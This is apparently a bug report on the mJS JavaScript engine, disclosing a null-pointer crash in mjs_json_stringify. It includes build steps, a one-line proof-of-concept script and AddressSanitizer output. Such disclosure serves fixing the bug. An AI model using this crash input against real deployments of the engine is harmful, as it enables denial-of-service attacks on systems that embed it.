SEGV src/mjs_json.c:273 in mjs_json_stringify

[hope-fly]

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make

Test case

poc.js

```javascript
(JSON.stringify([1, 2, 3]))((JSON.parse-6.54*21e2)(JSON.stringify([1, 2, 3])));
```

​

Execution steps & Output

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==61059==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x56205ea42cf1 bp 0x00000000007c sp 0x7ffdf0132cb8 T0)
==61059==The signal is caused by a READ memory access.
==61059==Hint: address points to the zero page.
    #0 0x56205ea42cf0 in mjs_json_stringify src/mjs_json.c:273
    #1 0x56205ea42cf0 in mjs_json_stringify src/mjs_json.c:272
    #2 0x56205ea42cf0 in mjs_json_stringify src/mjs_json.c:272
    #3 0x56205ea42cf0 in mjs_op_json_stringify src/mjs_json.c:494
    #4 0x56205ead6955 in cs_varint_decode src/common/cs_varint.c:65
    #5 0x56205eaa1a05 in mjs_strcmp src/mjs_string.c:228
    #6 0x60b000000082  (<unknown module>)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_json.c:273 in mjs_json_stringify

Credits: Found by OWL337 team.